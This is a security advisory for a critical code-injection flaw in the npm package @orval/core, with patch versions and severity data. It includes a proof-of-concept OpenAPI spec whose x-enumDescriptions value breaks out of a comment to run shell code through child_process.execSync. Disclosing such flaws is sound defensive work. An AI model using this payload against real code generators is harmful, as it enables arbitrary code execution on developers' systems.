GHSA-h526-wf6g-67jv

Suggest an improvement
Source
https://github.com/advisories/GHSA-h526-wf6g-67jv
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h526-wf6g-67jv/GHSA-h526-wf6g-67jv.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-h526-wf6g-67jv
Aliases
Related
Published
2026-01-21T01:01:13Z
Modified
2026-02-04T03:15:25.653005Z
Severity
  • 9.3 (Critical) CVSS_V4 - CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N CVSS Calculator
Summary
Orval has a code injection via unsanitized x-enum-descriptions in enum generation
Details

Impact

Arbitrary code execution in environments consuming generated clients

This issue is similar in nature to the recently-patched MCP vulnerability (CVE-2026-22785), but affects a different code path in @orval/core that was not addressed by that fix.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript code into generated clients via the x-enumDescriptions field, which is embedded without proper escaping in getEnumImplementation(). I have confirmed that the injection occurs during const enum generation and results in executable code within the generated schema files.

Patches

Upgrade to Orval 8.0.2

References

An example OpenAPI showing the issue:

openapi: 3.0.4
info:
  title: Enum PoC
  version: "1.0.0"

paths:
  /ping:
    get:
      operationId: ping
      responses:
        "200":
          description: ok
          content:
            application/json:
              schema:
                $ref: "#/components/schemas/EvilEnum"

components:
  schemas:
    EvilEnum:
      type: string
      enum:
        - PWNED
      x-enumDescriptions:
        - "pwned */ require('child_process').execSync('id'); /*"
Database specific
{
    "nvd_published_at": "2026-01-20T01:15:57Z",
    "cwe_ids": [
        "CWE-77"
    ],
    "github_reviewed_at": "2026-01-21T01:01:13Z",
    "severity": "CRITICAL",
    "github_reviewed": true
}
References

Affected packages

npm / @orval/core

Package

Affected ranges

Type
SEMVER
Events
Introduced
8.0.0-rc.0
Fixed
8.0.2

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h526-wf6g-67jv/GHSA-h526-wf6g-67jv.json"

npm / @orval/core

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
7.19.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/01/GHSA-h526-wf6g-67jv/GHSA-h526-wf6g-67jv.json"